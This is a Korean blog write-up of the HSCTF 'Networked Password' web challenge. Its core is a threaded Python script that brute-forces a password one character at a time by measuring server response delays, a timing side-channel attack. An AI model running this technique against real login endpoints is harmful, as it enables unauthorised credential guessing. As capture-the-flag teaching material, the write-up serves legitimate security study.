HSCTF - Networked Password (WEB)
Wargame | CTF/CTF WriteUp

HSCTF - Networked Password (WEB)

500점 짜리 문제

서버 리스폰스로 flag를 구하는 문제입니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
import threading
 
url = 'https://networked-password.web.chal.hsctf.com'
string = '_-!@#$^&*()~abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
 
password = ''
 
 
def execute(i):
    global password
    data = {'password': password + i }
    startTime = time.time()
    res = requests.post(url,data=data)
    endTime = time.time()
    if endTime-startTime > 1.5+len(password)*0.5:
        password += i
        print('Password : ' + password)
        
 
for i in string:
    thread = threading.Thread(target=execute,args=(i))
    thread.start()
for i in string:
    thread.join()
 
cs

 

POST 파라미터로 password 파라미터값을 넘겨주는데, 일치하면 서버에서 한글자 마다 0.5 초씩 딜레이 하여 보내주는데요 . 이걸 이용해서 flag를 유추하는 문제입니다. 시간이 너무 오래걸려서 쓰레드를 썼습니다.

음 뭔가 처음부터 끝까지 플래그만 똭 나오게 하고싶었는데... 잘안되서 그냥 한글자씩 뽑아서 플래그를 만들었습니다.

 

클리어!

 

 

'Wargame | CTF > CTF WriteUp' 카테고리의 다른 글

BCACTF - Basic Pass 3  (0) 2019.06.09
HSCTF - Return to Sender (Binary)  (0) 2019.06.06
CBM CTF / WriteUp (web - 45point)  (0) 2019.04.07